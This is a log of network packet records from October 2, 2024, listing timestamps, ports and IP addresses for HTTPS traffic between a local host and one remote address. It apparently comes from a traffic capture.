Oct 2, 2024 06:11:43.547955036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.547971010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.548023939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.548031092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.548094034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.548352957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.548368931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.548413992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.548420906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.548475981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.549082041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.549098015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.549146891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.549153090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.549204111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.636183977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.636205912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.636265993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.636280060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.636312008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.636336088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.636698961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.636714935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.636755943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.636761904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.636792898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.636814117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.637267113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.637284994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.637346029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.637352943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.637912035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.637940884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.637999058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.638003111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.638031960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.638061047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.638436079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.638451099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.638504982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.638514042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639292955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639309883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639353991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.639358997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639410019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.639425993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.639429092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639451027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639481068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639488935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.639494896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.639537096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.640261889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.640283108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.640328884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.640333891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.640346050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.640383959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.641501904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.727260113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.727278948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.727344990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.727353096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.727406025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.727463961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.727479935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.727525949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.727531910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.727577925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.728110075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.728123903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.728185892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.728190899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.728326082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.728351116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.728380919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.728387117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.728409052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.728437901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.729110956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.729125977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.729197025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.729203939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.729259014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.729875088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.729890108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.729995966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.730001926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.730046988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.730182886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.730197906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.730253935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.730258942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.730411053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.730700016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.730714083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.730745077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.730750084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.730782986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.730802059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.817435980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.817462921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.817517042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.817526102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.817583084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.818001986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.818018913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.818074942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.818080902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.818344116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.818674088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.818689108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.818749905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.818754911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.818795919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.819122076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.819135904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.819176912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.819181919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.819211960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.819230080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.820000887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.820015907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.820065975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.820071936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.820118904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.820513010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.820528030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.820584059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.820590019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.820687056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.821088076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.821103096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.821154118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.821160078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.821279049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.858983994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.859000921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.859042883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.859050989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.859101057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.908246994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.908265114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.908334017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.908340931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.908394098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.908768892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.908787966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.908829927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.908833027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.908870935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.908890009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.909148932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.909178019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.909224033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.909229994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.909259081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.909284115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.909655094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.909670115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.909742117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.909749031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.909832001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.910805941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.910821915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.910852909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.910892963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.910907030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.910923958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.910934925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.910962105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.911474943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.911489010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.911550999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.911557913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.949631929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.949650049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:43.949728012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:43.949736118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.001713037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.001738071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.001781940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.001795053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.001838923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.003154039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.003170013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.003225088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.003232002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.003257036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.003782988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.003801107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.003839016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.003846884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.003880978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.005589962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.005604029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.005667925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.005675077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.012378931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.012397051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.012437105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.012443066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.012479067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.013190985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.013205051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.013261080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.013267994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.017432928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.017450094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.017492056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.017498016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.017528057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.065289974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.085277081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.085298061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.085366011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.085372925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.085414886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.092547894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.092565060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.092634916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.092669964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.092735052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.093946934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.093967915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.094019890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.094028950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.094062090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.094084024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.094631910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.094650030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.094702005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.094707966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.094747066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.094757080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.096182108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.096199989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.096256971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.096265078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.096293926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.096313000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.103142023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.103157043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.103212118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.103219032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.103261948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.103640079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.103653908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.103714943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.103724957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.103877068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.108206987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.108222008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.108282089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.108289003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.108350039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.176011086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.176032066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.176096916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.176110983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.176173925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.183255911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.183271885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.183337927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.183346033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.183398962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.184921980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.184937000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.184995890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.185003996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.185028076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.185050964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.185687065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.185702085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.185764074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.185770035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.185815096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.186930895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.186947107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.186989069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.186995983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.187032938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.187052965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.193968058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.193983078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.194039106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.194050074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.194166899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.194530010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.194545031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.194600105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.194607019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.194638968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.194652081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.198937893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.198952913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.199023008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.199028969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.199059963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.199076891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.266627073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.266645908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.266711950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.266729116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.266803980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.273924112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.273945093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.274059057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.274065971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.274148941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.275732994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.275749922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.275811911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.275821924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.275877953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.276400089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.276415110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.276449919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.276456118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.276490927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.276509047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.277554989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.277569056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.277621984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.277630091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.277688026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.284657955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.284673929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.284719944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.284725904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.284749031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.284775972 CEST	49723	443	192.168.2.8	167.114.14.168
